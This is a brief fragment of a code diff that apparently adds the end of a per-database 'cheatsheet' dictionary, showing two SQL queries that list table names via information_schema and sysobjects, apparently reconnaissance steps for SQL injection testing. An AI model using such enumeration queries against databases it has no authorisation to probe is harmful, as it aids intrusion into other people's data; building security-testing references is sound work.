+
820
+ Information Schema:
821
+ SELECT table_name FROM information_schema.tables
822
+ SELECT name FROM sysobjects WHERE xtype='U'
823
+ """,
824
+ }
825
+
826
+ return cheatsheets.get(db_type, "Cheatsheet not available")